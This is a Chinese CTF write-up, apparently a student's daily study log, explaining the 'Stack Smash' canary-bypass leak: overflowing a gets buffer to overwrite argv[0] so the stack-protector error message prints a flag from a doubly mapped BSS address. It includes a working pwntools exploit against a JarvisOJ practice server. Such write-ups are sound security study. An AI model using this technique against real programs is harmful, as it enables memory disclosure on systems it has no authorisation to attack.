171119 Pwn-StackSmash

来源:互联网 发布:基金分红是怎么个算法 编辑:程序博客网 时间:2024/06/01 10:51

1625-5 王子昂 总结《2017年11月19日》 【连续第415天总结】
A. pwn-StackSmash
B.

原理

当程序加了Cannary来保护时,栈溢出会使得程序异常终止并输出错误信息
StackSmash就是利用这个错误信息进行任意地址读取的
报错函数为__stack_chk_fail,代码如下:

void __attribute__ ((noreturn)) __stack_chk_fail (void){  __fortify_fail ("stack smashing detected");}void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg){  /* The loop is added only to keep gcc happy.  */  while (1)    __libc_message (2, "*** %s ***: %s terminated\n",                    msg, __libc_argv[0] ?: "<unknown>");}

最后一行可以看到,输入内容中存在__libc_argv[0],即程序名
又因为argv数组实际上存在于main函数的参数中,因此可以通过栈溢出来覆盖它,从而造成读取漏洞

以JarvisOJ上的pwn(2)为例复现

分析

主函数代码如下
这里写图片描述
很容易可以看到第三行,_IO_gets(&v4)处存在栈溢出

此外,下文对byte_600d20进行了覆盖,很明显它就是flag
这里要利用另一个知识点:
ELF内存映射时,BSS段会被映射两次
因此可以利用另一处来输出,地址通过edb/gdb等动态调试工具可以查找到
这里写图片描述
可以看到 地址是0x400d20

构造溢出

首先查找argv[0]的地址,在这里
这里写图片描述
而栈中溢出点的地址则可以通过输入的标记字符串来查找
这里写图片描述

从而写出脚本:

from pwn import *sh = remote('pwn.jarvisoj.com', 9877)argv_addr = 0x7fffffffe288name_addr = 0x7fffffffe070flag_addr = 0x400d20payload = 'a' * (argv_addr - name_addr) + p64(flag_addr)sh.recv()sh.sendline(payload)sh.recv()sh.send('\n')print sh.recvall()

运行即可得到flag
这里写图片描述

后记

一些WP中说照这样做并得不到flag,在其中一篇中得到了可能的解释:
http://blog.csdn.net/happyorange2014/article/details/50459201
要设置环境变量中LIBC_FATAL_STDERR_=1,它代表错误信息优先输出到STDERR中,从而能让我们接收到
环境变量同样存放在main的参数中
由于栈溢出时只能写入指针,而我们可操作、地址又已知的内存就只有被覆盖的0x600D20了
因此可以通过两次写入实现修改环境变量的目的

C. 明日计划
安卓逆向

原创粉丝点击